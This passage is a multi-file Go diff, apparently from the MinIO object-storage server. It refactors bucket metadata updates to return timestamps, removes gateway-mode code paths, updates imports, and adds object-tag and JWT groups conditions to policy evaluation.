 			meta = newBucketMetadata(bucket)
 		} else {
-			return err
+			return updatedAt, err
 		}
 	}
-
+	updatedAt = UTCNow()
 	switch configFile {
 	case bucketPolicyConfig:
 		meta.PolicyConfigJSON = configData
-		meta.PolicyConfigUpdatedAt = UTCNow()
+		meta.PolicyConfigUpdatedAt = updatedAt
 	case bucketNotificationConfig:
 		meta.NotificationConfigXML = configData
 	case bucketLifecycleConfig:
 		meta.LifecycleConfigXML = configData
 	case bucketSSEConfig:
 		meta.EncryptionConfigXML = configData
-		meta.EncryptionConfigUpdatedAt = UTCNow()
+		meta.EncryptionConfigUpdatedAt = updatedAt
 	case bucketTaggingConfig:
 		meta.TaggingConfigXML = configData
-		meta.TaggingConfigUpdatedAt = UTCNow()
+		meta.TaggingConfigUpdatedAt = updatedAt
 	case bucketQuotaConfigFile:
 		meta.QuotaConfigJSON = configData
-		meta.QuotaConfigUpdatedAt = UTCNow()
+		meta.QuotaConfigUpdatedAt = updatedAt
 	case objectLockConfig:
 		meta.ObjectLockConfigXML = configData
-		meta.ObjectLockConfigUpdatedAt = UTCNow()
+		meta.ObjectLockConfigUpdatedAt = updatedAt
 	case bucketVersioningConfig:
 		meta.VersioningConfigXML = configData
-		meta.VersioningConfigUpdatedAt = UTCNow()
+		meta.VersioningConfigUpdatedAt = updatedAt
 	case bucketReplicationConfig:
 		meta.ReplicationConfigXML = configData
-		meta.ReplicationConfigUpdatedAt = UTCNow()
+		meta.ReplicationConfigUpdatedAt = updatedAt
 	case bucketTargetsFile:
-		meta.BucketTargetsConfigJSON, meta.BucketTargetsConfigMetaJSON, err = encryptBucketMetadata(meta.Name, configData, kms.Context{
+		meta.BucketTargetsConfigJSON, meta.BucketTargetsConfigMetaJSON, err = encryptBucketMetadata(ctx, meta.Name, configData, kms.Context{
 			bucket:            meta.Name,
 			bucketTargetsFile: bucketTargetsFile,
 		})
 		if err != nil {
-			return fmt.Errorf("Error encrypting bucket target metadata %w", err)
+			return updatedAt, fmt.Errorf("Error encrypting bucket target metadata %w", err)
 		}
 	default:
-		return fmt.Errorf("Unknown bucket %s metadata update requested %s", bucket, configFile)
+		return updatedAt, fmt.Errorf("Unknown bucket %s metadata update requested %s", bucket, configFile)
 	}

 	if err := meta.Save(ctx, objAPI); err != nil {
-		return err
+		return updatedAt, err
 	}

 	sys.Set(bucket, meta)
 	globalNotificationSys.LoadBucketMetadata(bgContext(ctx), bucket) // Do not use caller context here

-	return nil
+	return updatedAt, nil
+}
+
+// Delete delete the bucket metadata for the specified bucket.
+// must be used by all callers instead of using Update() with nil configData.
+func (sys *BucketMetadataSys) Delete(ctx context.Context, bucket string, configFile string) (updatedAt time.Time, err error) {
+	return sys.updateAndParse(ctx, bucket, configFile, nil, false)
+}
+
+// Update update bucket metadata for the specified bucket.
+// The configData data should not be modified after being sent here.
+func (sys *BucketMetadataSys) Update(ctx context.Context, bucket string, configFile string, configData []byte) (updatedAt time.Time, err error) {
+	return sys.updateAndParse(ctx, bucket, configFile, configData, true)
 }

 // Get metadata for a bucket.
@@ -168,7 +164,7 @@ func (sys *BucketMetadataSys) Update(ctx context.Context, bucket string, configF
 // For all other bucket specific metadata, use the relevant
 // calls implemented specifically for each of those features.
 func (sys *BucketMetadataSys) Get(bucket string) (BucketMetadata, error) {
-	if globalIsGateway || bucket == minioMetaBucket {
+	if isMinioMetaBucketName(bucket) {
 		return newBucketMetadata(bucket), errConfigNotFound
 	}

@@ -231,22 +227,6 @@ func (sys *BucketMetadataSys) GetObjectLockConfig(bucket string) (*objectlock.Co
 // GetLifecycleConfig returns configured lifecycle config
 // The returned object may not be modified.
 func (sys *BucketMetadataSys) GetLifecycleConfig(bucket string) (*lifecycle.Lifecycle, error) {
-	if globalIsGateway && globalGatewayName == NASBackendGateway {
-		// Only needed in case of NAS gateway.
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, errServerNotInitialized
-		}
-		meta, err := loadBucketMetadata(GlobalContext, objAPI, bucket)
-		if err != nil {
-			return nil, err
-		}
-		if meta.lifecycleConfig == nil {
-			return nil, BucketLifecycleNotFound{Bucket: bucket}
-		}
-		return meta.lifecycleConfig, nil
-	}
-
 	meta, err := sys.GetConfig(GlobalContext, bucket)
 	if err != nil {
 		if errors.Is(err, errConfigNotFound) {
@@ -263,19 +243,6 @@ func (sys *BucketMetadataSys) GetLifecycleConfig(bucket string) (*lifecycle.Life
 // GetNotificationConfig returns configured notification config
 // The returned object may not be modified.
 func (sys *BucketMetadataSys) GetNotificationConfig(bucket string) (*event.Config, error) {
-	if globalIsGateway && globalGatewayName == NASBackendGateway {
-		// Only needed in case of NAS gateway.
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, errServerNotInitialized
-		}
-		meta, err := loadBucketMetadata(GlobalContext, objAPI, bucket)
-		if err != nil {
-			return nil, err
-		}
-		return meta.notificationConfig, nil
-	}
-
 	meta, err := sys.GetConfig(GlobalContext, bucket)
 	if err != nil {
 		return nil, err
@@ -311,15 +278,6 @@ func (sys *BucketMetadataSys) CreatedAt(bucket string) (time.Time, error) {
 // GetPolicyConfig returns configured bucket policy
 // The returned object may not be modified.
 func (sys *BucketMetadataSys) GetPolicyConfig(bucket string) (*policy.Policy, time.Time, error) {
-	if globalIsGateway {
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, time.Time{}, errServerNotInitialized
-		}
-		p, err := objAPI.GetBucketPolicy(GlobalContext, bucket)
-		return p, UTCNow(), err
-	}
-
 	meta, err := sys.GetConfig(GlobalContext, bucket)
 	if err != nil {
 		if errors.Is(err, errConfigNotFound) {
@@ -338,6 +296,9 @@ func (sys *BucketMetadataSys) GetPolicyConfig(bucket string) (*policy.Policy, ti
 func (sys *BucketMetadataSys) GetQuotaConfig(ctx context.Context, bucket string) (*madmin.BucketQuota, time.Time, error) {
 	meta, err := sys.GetConfig(ctx, bucket)
 	if err != nil {
+		if errors.Is(err, errConfigNotFound) {
+			return nil, time.Time{}, BucketQuotaConfigNotFound{Bucket: bucket}
+		}
 		return nil, time.Time{}, err
 	}
 	return meta.quotaConfig, meta.QuotaConfigUpdatedAt, nil
@@ -384,11 +345,7 @@ func (sys *BucketMetadataSys) GetConfig(ctx context.Context, bucket string) (Buc
 		return newBucketMetadata(bucket), errServerNotInitialized
 	}

-	if globalIsGateway {
-		return newBucketMetadata(bucket), NotImplemented{}
-	}
-
-	if bucket == minioMetaBucket {
+	if isMinioMetaBucketName(bucket) {
 		return newBucketMetadata(bucket), errInvalidArgument
 	}

@@ -415,12 +372,6 @@ func (sys *BucketMetadataSys) Init(ctx context.Context, buckets []BucketInfo, ob
 		return errServerNotInitialized
 	}

-	// In gateway mode, we don't need to load bucket metadata except
-	// NAS gateway backend.
-	if globalIsGateway && !objAPI.IsNotificationSupported() {
-		return nil
-	}
-
 	// Load bucket metadata sys in background
 	go sys.load(ctx, buckets, objAPI)
 	return nil
@@ -449,7 +400,7 @@ func (sys *BucketMetadataSys) concurrentLoad(ctx context.Context, buckets []Buck
 			sys.metadataMap[buckets[index].Name] = meta
 			sys.Unlock()

-			globalNotificationSys.set(buckets[index], meta) // set notification targets
+			globalEventNotifier.set(buckets[index], meta) // set notification targets

 			globalBucketTargetSys.set(buckets[index], meta) // set remote replication targets

@@ -29,7 +29,7 @@ import (
 	"path"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio-go/v7/pkg/tags"
 	bucketsse "github.com/minio/minio/internal/bucket/encryption"
 	"github.com/minio/minio/internal/bucket/lifecycle"
@@ -105,10 +105,8 @@ type BucketMetadata struct {

 // newBucketMetadata creates BucketMetadata with the supplied name and Created to Now.
 func newBucketMetadata(name string) BucketMetadata {
-	now := UTCNow()
 	return BucketMetadata{
-		Name:    name,
-		Created: now,
+		Name: name,
 		notificationConfig: &event.Config{
 			XMLNS: "http://s3.amazonaws.com/doc/2006-03-01/",
 		},
@@ -121,12 +119,23 @@ func newBucketMetadata(name string) BucketMetadata {
 	}
 }

+// SetCreatedAt preserves the CreatedAt time for bucket across sites in site replication. It defaults to
+// creation time of bucket on this cluster in all other cases.
+func (b *BucketMetadata) SetCreatedAt(createdAt time.Time) {
+	if b.Created.IsZero() {
+		b.Created = UTCNow()
+	}
+	if !createdAt.IsZero() {
+		b.Created = createdAt.UTC()
+	}
+}
+
 // Load - loads the metadata of bucket by name from ObjectLayer api.
 // If an error is returned the returned metadata will be default initialized.
 func (b *BucketMetadata) Load(ctx context.Context, api ObjectLayer, name string) error {
 	if name == "" {
 		logger.LogIf(ctx, errors.New("bucket name cannot be empty"))
-		return errors.New("bucket name cannot be empty")
+		return errInvalidArgument
 	}
 	configFile := path.Join(bucketMetaPrefix, name, bucketMetadataFile)
 	data, err := readConfig(ctx, api, configFile)
@@ -153,27 +162,47 @@ func (b *BucketMetadata) Load(ctx context.Context, api ObjectLayer, name string)
 	return err
 }

-// loadBucketMetadata loads and migrates to bucket metadata.
-func loadBucketMetadata(ctx context.Context, objectAPI ObjectLayer, bucket string) (BucketMetadata, error) {
+func loadBucketMetadataParse(ctx context.Context, objectAPI ObjectLayer, bucket string, parse bool) (BucketMetadata, error) {
 	b := newBucketMetadata(bucket)
 	err := b.Load(ctx, objectAPI, b.Name)
 	if err != nil && !errors.Is(err, errConfigNotFound) {
 		return b, err
 	}
+	if err == nil {
+		b.defaultTimestamps()
+	}

-	// Old bucket without bucket metadata. Hence we migrate existing settings.
-	if err := b.convertLegacyConfigs(ctx, objectAPI); err != nil {
+	configs, err := b.getAllLegacyConfigs(ctx, objectAPI)
+	if err != nil {
+		return b, err
+	}
+
+	if len(configs) == 0 {
+		if parse {
+			// nothing to update, parse and proceed.
+			err = b.parseAllConfigs(ctx, objectAPI)
+		}
+	} else {
+		// Old bucket without bucket metadata. Hence we migrate existing settings.
+		err = b.convertLegacyConfigs(ctx, objectAPI, configs)
+	}
+	if err != nil {
 		return b, err
 	}

 	// migrate unencrypted remote targets
-	if err = b.migrateTargetConfig(ctx, objectAPI); err != nil {
+	if err := b.migrateTargetConfig(ctx, objectAPI); err != nil {
 		return b, err
 	}
-	b.defaultTimestamps()
+
 	return b, nil
 }

+// loadBucketMetadata loads and migrates to bucket metadata.
+func loadBucketMetadata(ctx context.Context, objectAPI ObjectLayer, bucket string) (BucketMetadata, error) {
+	return loadBucketMetadataParse(ctx, objectAPI, bucket, true)
+}
+
 // parseAllConfigs will parse all configs and populate the private fields.
 // The first error encountered is returned.
 func (b *BucketMetadata) parseAllConfigs(ctx context.Context, objectAPI ObjectLayer) (err error) {
@@ -266,7 +295,7 @@ func (b *BucketMetadata) parseAllConfigs(ctx context.Context, objectAPI ObjectLa
 	return nil
 }

-func (b *BucketMetadata) convertLegacyConfigs(ctx context.Context, objectAPI ObjectLayer) error {
+func (b *BucketMetadata) getAllLegacyConfigs(ctx context.Context, objectAPI ObjectLayer) (map[string][]byte, error) {
 	legacyConfigs := []string{
 		legacyBucketObjectLockEnabledConfigFile,
 		bucketPolicyConfig,
@@ -280,7 +309,7 @@ func (b *BucketMetadata) convertLegacyConfigs(ctx context.Context, objectAPI Obj
 		objectLockConfig,
 	}

-	configs := make(map[string][]byte)
+	configs := make(map[string][]byte, len(legacyConfigs))

 	// Handle migration from lockEnabled to newer format.
 	if b.LockEnabled {
@@ -305,16 +334,15 @@ func (b *BucketMetadata) convertLegacyConfigs(ctx context.Context, objectAPI Obj
 				continue
 			}

-			return err
+			return nil, err
 		}
 		configs[legacyFile] = configData
 	}

-	if len(configs) == 0 {
-		// nothing to update, return right away.
-		return b.parseAllConfigs(ctx, objectAPI)
-	}
+	return configs, nil
+}

+func (b *BucketMetadata) convertLegacyConfigs(ctx context.Context, objectAPI ObjectLayer, configs map[string][]byte) error {
 	for legacyFile, configData := range configs {
 		switch legacyFile {
 		case legacyBucketObjectLockEnabledConfigFile:
@@ -345,6 +373,7 @@ func (b *BucketMetadata) convertLegacyConfigs(ctx context.Context, objectAPI Obj
 			b.BucketTargetsConfigJSON = configData
 		}
 	}
+	b.defaultTimestamps()

 	if err := b.Save(ctx, objectAPI); err != nil {
 		return err
@@ -413,23 +442,6 @@ func (b *BucketMetadata) Save(ctx context.Context, api ObjectLayer) error {
 	return saveConfig(ctx, api, configFile, data)
 }

-// deleteBucketMetadata deletes bucket metadata
-// If config does not exist no error is returned.
-func deleteBucketMetadata(ctx context.Context, obj objectDeleter, bucket string) error {
-	metadataFiles := []string{
-		dataUsageCacheName,
-		bucketMetadataFile,
-		path.Join(replicationDir, resyncFileName),
-	}
-	for _, metaFile := range metadataFiles {
-		configFile := path.Join(bucketMetaPrefix, bucket, metaFile)
-		if err := deleteConfig(ctx, obj, configFile); err != nil && err != errConfigNotFound {
-			return err
-		}
-	}
-	return nil
-}
-
 // migrate config for remote targets by encrypting data if currently unencrypted and kms is configured.
 func (b *BucketMetadata) migrateTargetConfig(ctx context.Context, objectAPI ObjectLayer) error {
 	var err error
@@ -438,7 +450,7 @@ func (b *BucketMetadata) migrateTargetConfig(ctx context.Context, objectAPI Obje
 		return nil
 	}

-	encBytes, metaBytes, err := encryptBucketMetadata(b.Name, b.BucketTargetsConfigJSON, kms.Context{b.Name: b.Name, bucketTargetsFile: bucketTargetsFile})
+	encBytes, metaBytes, err := encryptBucketMetadata(ctx, b.Name, b.BucketTargetsConfigJSON, kms.Context{b.Name: b.Name, bucketTargetsFile: bucketTargetsFile})
 	if err != nil {
 		return err
 	}
@@ -449,14 +461,14 @@ func (b *BucketMetadata) migrateTargetConfig(ctx context.Context, objectAPI Obje
 }

 // encrypt bucket metadata if kms is configured.
-func encryptBucketMetadata(bucket string, input []byte, kmsContext kms.Context) (output, metabytes []byte, err error) {
+func encryptBucketMetadata(ctx context.Context, bucket string, input []byte, kmsContext kms.Context) (output, metabytes []byte, err error) {
 	if GlobalKMS == nil {
 		output = input
 		return
 	}

 	metadata := make(map[string]string)
-	key, err := GlobalKMS.GenerateKey("", kmsContext)
+	key, err := GlobalKMS.GenerateKey(ctx, "", kmsContext)
 	if err != nil {
 		return
 	}
@@ -465,7 +477,7 @@ func encryptBucketMetadata(bucket string, input []byte, kmsContext kms.Context)
 	objectKey := crypto.GenerateKey(key.Plaintext, rand.Reader)
 	sealedKey := objectKey.Seal(key.Plaintext, crypto.GenerateIV(rand.Reader), crypto.S3.String(), bucket, "")
 	crypto.S3.CreateMetadata(metadata, key.KeyID, key.Ciphertext, sealedKey)
-	_, err = sio.Encrypt(outbuf, bytes.NewBuffer(input), sio.Config{Key: objectKey[:], MinVersion: sio.Version20, CipherSuites: fips.CipherSuitesDARE()})
+	_, err = sio.Encrypt(outbuf, bytes.NewBuffer(input), sio.Config{Key: objectKey[:], MinVersion: sio.Version20, CipherSuites: fips.DARECiphers()})
 	if err != nil {
 		return output, metabytes, err
 	}
@@ -495,6 +507,6 @@ func decryptBucketMetadata(input []byte, bucket string, meta map[string]string,
 	}

 	outbuf := bytes.NewBuffer(nil)
-	_, err = sio.Decrypt(outbuf, bytes.NewBuffer(input), sio.Config{Key: objectKey[:], MinVersion: sio.Version20, CipherSuites: fips.CipherSuitesDARE()})
+	_, err = sio.Decrypt(outbuf, bytes.NewBuffer(input), sio.Config{Key: objectKey[:], MinVersion: sio.Version20, CipherSuites: fips.DARECiphers()})
 	return outbuf.Bytes(), err
 }
@@ -23,9 +23,9 @@ import (
 	"net/http"
 	"reflect"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio/internal/event"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -50,17 +50,12 @@ func (api objectAPIHandlers) GetBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}

-	if !objAPI.IsNotificationSupported() {
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
-
 	if s3Error := checkRequestAuthType(ctx, r, policy.GetBucketNotificationAction, bucketName, ""); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}

-	_, err := objAPI.GetBucketInfo(ctx, bucketName)
+	_, err := objAPI.GetBucketInfo(ctx, bucketName, BucketOptions{})
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -72,7 +67,7 @@ func (api objectAPIHandlers) GetBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}
 	config.SetRegion(globalSite.Region)
-	if err = config.Validate(globalSite.Region, globalNotificationSys.targetList); err != nil {
+	if err = config.Validate(globalSite.Region, globalEventNotifier.targetList); err != nil {
 		arnErr, ok := err.(*event.ErrARNNotFound)
 		if ok {
 			for i, queue := range config.QueueList {
@@ -119,11 +114,6 @@ func (api objectAPIHandlers) PutBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}

-	if !objectAPI.IsNotificationSupported() {
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
-
 	vars := mux.Vars(r)
 	bucketName := vars["bucket"]

@@ -132,7 +122,7 @@ func (api objectAPIHandlers) PutBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}

-	_, err := objectAPI.GetBucketInfo(ctx, bucketName)
+	_, err := objectAPI.GetBucketInfo(ctx, bucketName, BucketOptions{})
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -144,7 +134,7 @@ func (api objectAPIHandlers) PutBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}

-	config, err := event.ParseConfig(io.LimitReader(r.Body, r.ContentLength), globalSite.Region, globalNotificationSys.targetList)
+	config, err := event.ParseConfig(io.LimitReader(r.Body, r.ContentLength), globalSite.Region, globalEventNotifier.targetList)
 	if err != nil {
 		apiErr := errorCodes.ToAPIErr(ErrMalformedXML)
 		if event.IsEventError(err) {
@@ -160,13 +150,13 @@ func (api objectAPIHandlers) PutBucketNotificationHandler(w http.ResponseWriter,
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucketName, bucketNotificationConfig, configData); err != nil {
+	if _, err = globalBucketMetadataSys.Update(ctx, bucketName, bucketNotificationConfig, configData); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

 	rulesMap := config.ToRulesMap()
-	globalNotificationSys.AddRulesMap(bucketName, rulesMap)
+	globalEventNotifier.AddRulesMap(bucketName, rulesMap)

 	writeSuccessResponseHeadersOnly(w)
 }
@@ -19,6 +19,7 @@ package cmd

 import (
 	"context"
+	"errors"
 	"math"
 	"net/http"

@@ -35,22 +36,16 @@ type BucketObjectLockSys struct{}

 // Get - Get retention configuration.
 func (sys *BucketObjectLockSys) Get(bucketName string) (r objectlock.Retention, err error) {
-	if globalIsGateway {
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return r, errServerNotInitialized
-		}
-
-		return r, nil
-	}
-
 	config, _, err := globalBucketMetadataSys.GetObjectLockConfig(bucketName)
 	if err != nil {
-		if _, ok := err.(BucketObjectLockConfigNotFound); ok {
+		if errors.Is(err, BucketObjectLockConfigNotFound{Bucket: bucketName}) {
 			return r, nil
 		}
+		if errors.Is(err, errInvalidArgument) {
+			return r, err
+		}
+		logger.CriticalIf(context.Background(), err)
 		return r, err
-
 	}
 	return config.ToRetention(), nil
 }
@@ -21,13 +21,12 @@ import (
 	"bytes"
 	"encoding/json"
 	"io"
-	"io/ioutil"
 	"net/http"

 	humanize "github.com/dustin/go-humanize"
-	"github.com/gorilla/mux"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -61,7 +60,7 @@ func (api objectAPIHandlers) PutBucketPolicyHandler(w http.ResponseWriter, r *ht
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -79,7 +78,7 @@ func (api objectAPIHandlers) PutBucketPolicyHandler(w http.ResponseWriter, r *ht
 		return
 	}

-	bucketPolicyBytes, err := ioutil.ReadAll(io.LimitReader(r.Body, r.ContentLength))
+	bucketPolicyBytes, err := io.ReadAll(io.LimitReader(r.Body, r.ContentLength))
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -93,7 +92,7 @@ func (api objectAPIHandlers) PutBucketPolicyHandler(w http.ResponseWriter, r *ht

 	// Version in policy must not be empty
 	if bucketPolicy.Version == "" {
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMalformedPolicy), r.URL)
+		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrPolicyInvalidVersion), r.URL)
 		return
 	}

@@ -103,20 +102,19 @@ func (api objectAPIHandlers) PutBucketPolicyHandler(w http.ResponseWriter, r *ht
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketPolicyConfig, configData); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketPolicyConfig, configData)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

 	// Call site replication hook.
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
-		Type:   madmin.SRBucketMetaTypePolicy,
-		Bucket: bucket,
-		Policy: bucketPolicyBytes,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+		Type:      madmin.SRBucketMetaTypePolicy,
+		Bucket:    bucket,
+		Policy:    bucketPolicyBytes,
+		UpdatedAt: updatedAt,
+	}))

 	// Success.
 	writeSuccessNoContent(w)
@@ -143,24 +141,23 @@ func (api objectAPIHandlers) DeleteBucketPolicyHandler(w http.ResponseWriter, r
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

-	if err := globalBucketMetadataSys.Update(ctx, bucket, bucketPolicyConfig, nil); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketPolicyConfig)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

 	// Call site replication hook.
-	if err := globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
-		Type:   madmin.SRBucketMetaTypePolicy,
-		Bucket: bucket,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+		Type:      madmin.SRBucketMetaTypePolicy,
+		Bucket:    bucket,
+		UpdatedAt: updatedAt,
+	}))

 	// Success.
 	writeSuccessNoContent(w)
@@ -187,7 +184,7 @@ func (api objectAPIHandlers) GetBucketPolicyHandler(w http.ResponseWriter, r *ht
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -21,7 +21,6 @@ import (
 	"bytes"
 	"fmt"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"net/http/httptest"
 	"reflect"
@@ -108,7 +107,7 @@ func getAnonWriteOnlyObjectPolicy(bucketName, prefix string) *policy.Policy {

 // Wrapper for calling Create Bucket and ensure we get one and only one success.
 func TestCreateBucket(t *testing.T) {
-	ExecObjectLayerAPITest(t, testCreateBucket, []string{"MakeBucketWithLocation"})
+	ExecObjectLayerAPITest(t, testCreateBucket, []string{"MakeBucket"})
 }

 // testCreateBucket - Test for calling Create Bucket and ensure we get one and only one success.
@@ -128,7 +127,7 @@ func testCreateBucket(obj ObjectLayer, instanceType, bucketName string, apiRoute
 			defer wg.Done()
 			// Sync start.
 			<-start
-			if err := obj.MakeBucketWithLocation(GlobalContext, bucketName1, BucketOptions{}); err != nil {
+			if err := obj.MakeBucket(GlobalContext, bucketName1, MakeBucketOptions{}); err != nil {
 				if _, ok := err.(BucketExists); !ok {
 					t.Logf("unexpected error: %T: %v", err, err)
 					return
@@ -163,7 +162,7 @@ func testPutBucketPolicyHandler(obj ObjectLayer, instanceType, bucketName string
 	credentials auth.Credentials, t *testing.T,
 ) {
 	bucketName1 := fmt.Sprintf("%s-1", bucketName)
-	if err := obj.MakeBucketWithLocation(GlobalContext, bucketName1, BucketOptions{}); err != nil {
+	if err := obj.MakeBucket(GlobalContext, bucketName1, MakeBucketOptions{}); err != nil {
 		t.Fatal(err)
 	}

@@ -487,7 +486,7 @@ func testGetBucketPolicyHandler(obj ObjectLayer, instanceType, bucketName string
 			t.Fatalf("Case %d: Expected the response status to be `%d`, but instead found `%d`", i+1, testCase.expectedRespStatus, recV4.Code)
 		}
 		// read the response body.
-		bucketPolicyReadBuf, err := ioutil.ReadAll(recV4.Body)
+		bucketPolicyReadBuf, err := io.ReadAll(recV4.Body)
 		if err != nil {
 			t.Fatalf("Test %d: %s: Failed parsing response body: <ERROR> %v", i+1, instanceType, err)
 		}
@@ -525,7 +524,7 @@ func testGetBucketPolicyHandler(obj ObjectLayer, instanceType, bucketName string
 			t.Fatalf("Case %d: Expected the response status to be `%d`, but instead found `%d`", i+1, testCase.expectedRespStatus, recV2.Code)
 		}
 		// read the response body.
-		bucketPolicyReadBuf, err = ioutil.ReadAll(recV2.Body)
+		bucketPolicyReadBuf, err = io.ReadAll(recV2.Body)
 		if err != nil {
 			t.Fatalf("Test %d: %s: Failed parsing response body: <ERROR> %v", i+1, instanceType, err)
 		}
@@ -27,6 +27,7 @@ import (

 	jsoniter "github.com/json-iterator/go"
 	miniogopolicy "github.com/minio/minio-go/v7/pkg/policy"
+	"github.com/minio/minio-go/v7/pkg/tags"
 	"github.com/minio/minio/internal/handlers"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
@@ -125,6 +126,20 @@ func getConditionValues(r *http.Request, lc string, username string, claims map[

 	cloneHeader := r.Header.Clone()

+	if userTags := cloneHeader.Get(xhttp.AmzObjectTagging); userTags != "" {
+		tag, _ := tags.ParseObjectTags(userTags)
+		if tag != nil {
+			tagMap := tag.ToMap()
+			keys := make([]string, 0, len(tagMap))
+			for k, v := range tagMap {
+				args[pathJoin("ExistingObjectTag", k)] = []string{v}
+				args[pathJoin("RequestObjectTag", k)] = []string{v}
+				keys = append(keys, k)
+			}
+			args["RequestObjectTagKeys"] = keys
+		}
+	}
+
 	for _, objLock := range []string{
 		xhttp.AmzObjectLockMode,
 		xhttp.AmzObjectLockLegalHold,
@@ -137,6 +152,9 @@ func getConditionValues(r *http.Request, lc string, username string, claims map[
 	}

 	for key, values := range cloneHeader {
+		if strings.EqualFold(key, xhttp.AmzObjectTagging) {
+			continue
+		}
 		if existingValues, found := args[key]; found {
 			args[key] = append(existingValues, values...)
 		} else {
@@ -169,6 +187,8 @@ func getConditionValues(r *http.Request, lc string, username string, claims map[
 	}

 	// JWT specific values
+	//
+	// Add all string claims
 	for k, v := range claims {
 		vStr, ok := v.(string)
 		if ok {
@@ -183,6 +203,21 @@ func getConditionValues(r *http.Request, lc string, username string, claims map[
 			}
 		}
 	}
+	// Add groups claim which could be a list. This will ensure that the claim
+	// `jwt:groups` works.
+	if grpsVal, ok := claims["groups"]; ok {
+		if grpsIs, ok := grpsVal.([]interface{}); ok {
+			grps := []string{}
+			for _, gI := range grpsIs {
+				if g, ok := gI.(string); ok {
+					grps = append(grps, g)
+				}
+			}
+			if len(grps) > 0 {
+				args["groups"] = grps
+			}
+		}
+	}

 	return args
 }
@@ -24,7 +24,7 @@ import (
 	"fmt"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/logger"
 )

@@ -35,13 +35,6 @@ type BucketQuotaSys struct {

 // Get - Get quota configuration.
 func (sys *BucketQuotaSys) Get(ctx context.Context, bucketName string) (*madmin.BucketQuota, error) {
-	if globalIsGateway {
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, errServerNotInitialized
-		}
-		return &madmin.BucketQuota{}, nil
-	}
 	qCfg, _, err := globalBucketMetadataSys.GetQuotaConfig(ctx, bucketName)
 	return qCfg, err
 }
@@ -25,10 +25,10 @@ import (
 	"net/http"
 	"time"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio/internal/bucket/replication"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -46,20 +46,19 @@ func (api objectAPIHandlers) PutBucketReplicationConfigHandler(w http.ResponseWr
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)
 		return
 	}
-	if globalIsGateway {
-		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
 	if s3Error := checkRequestAuthType(ctx, r, policy.PutReplicationConfigurationAction, bucket, ""); s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}
